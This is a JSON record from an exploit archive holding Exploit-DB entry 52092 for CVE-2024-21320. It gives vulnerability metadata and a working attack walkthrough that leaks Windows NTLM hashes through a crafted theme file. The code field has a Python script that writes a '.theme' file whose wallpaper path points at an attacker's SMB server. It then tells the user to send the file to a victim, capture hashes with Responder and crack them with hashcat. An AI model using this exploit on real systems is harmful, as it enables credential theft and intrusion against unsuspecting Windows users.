{"exploit":{"id":"EDB-52092","name":"Microsoft Windows - NTLM Hash Leak via Malicious Windows Theme","description":"Microsoft Windows - NTLM Hash Leak via Malicious Windows Theme","cves":["CVE-2024-21320"],"author":"Abinesh kamal K U","published":"2025-03-22","platform":"windows","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52092","path":"exploits/windows/remote/52092.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52092.txt","vulnerabilities":[{"id":"CVE-2024-21320","state":"PUBLISHED","title":"Windows Themes Spoofing Vulnerability","titleSource":"CVE Program","description":"Windows Themes Spoofing Vulnerability","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-21320","cvss":{"version":"3.1","baseScore":6.5,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/E:U/RL:O/RC:C","source":"microsoft","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-21320"},"updatedAt":"2025-09-15T17:40:44.130Z","retrievedAt":"2026-11-26T17:53:07.015Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52092.png?v=2","url":"https://exploitbin.com/exploits/EDB-52092","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52092/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52092/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: CVE-2024-21320 - NTLM Hash Leak via Malicious Windows Theme\n# Date: 02/03/2025\n# Exploit Author: Abinesh Kamal K U\n# CVE : CVE-2024-21320\n# Ref: https://www.cve.org/CVERecord?id=CVE-2024-21320\n\n\n## Step 1: Install Responder\nResponder is a tool to capture NTLM hashes over SMB.\n\ngit clone https://github.com/lgandx/Responder.git\ncd Responder\n\nReplace `eth0` with your network interface.\n\n\n## Step 2: Create a Malicious Windows Theme File\n\n### Python Script to Generate the Malicious `.theme` File\n\nimport os\n\n# Attacker-controlled SMB server IP\nattacker_smb_server = \"192.168.1.100\"  # Change this to your attacker's IP\n\n# Name of the malicious theme file\ntheme_filename = \"malicious.theme\"\n\n# Malicious .theme file content\ntheme_content = f\"\"\"\n[Theme]\nDisplayName=Security Update Theme\n\n[Control Panel\\Desktop]\nWallpaper=\\\\\\\\{attacker_smb_server}\\\\share\\\\malicious.jpg\n\n[VisualStyles]\nPath=%SystemRoot%\\\\resources\\\\Themes\\\\Aero\\\\Aero.msstyles\nColorStyle=NormalColor\nSize=NormalSize\n\"\"\"\n\n# Write the theme file\nwith open(theme_filename, \"w\") as theme_file:\n    theme_file.write(theme_content)\n\nprint(f\"[+] Malicious theme file '{theme_filename}' created.\")\n\n# Optional: Start a Python HTTP server to serve the malicious theme file\nstart_http = input(\"Start HTTP server to deliver theme file? (y/n):\n\").strip().lower()\nif start_http == \"y\":\n    print(\"[+] Starting HTTP server on port 8080...\")\n    os.system(\"python3 -m http.server 8080\")\n```\n\n\n## Step 3: Deliver & Capture NTLM Hashes\n1. Send the `malicious.theme` file to the target.\n2. Run Responder to capture the NTLM hash:\n\n   sudo python3 Responder.py -I eth0\n\n3. Wait for the victim to open the `.theme` file.\n4. Extract NTLM hash from Responder logs and crack it using hashcat:\n\n   hashcat -m 5600 captured_hashes.txt rockyou.txt\n\n\n--\nAbinesh Kamal K U\nabineshjerry.info\nMTech - Cyber Security Systems & Networks\nAmrita University","sha256":"d517a7009d7358d230961c7411cac45182287ebe07a7d9d5f4fdd29ce67b4c15","bytes":1905,"fetchedAt":"2026-11-26T23:06:53.329Z","encoding":"utf-8 (display only; download retains original bytes)"}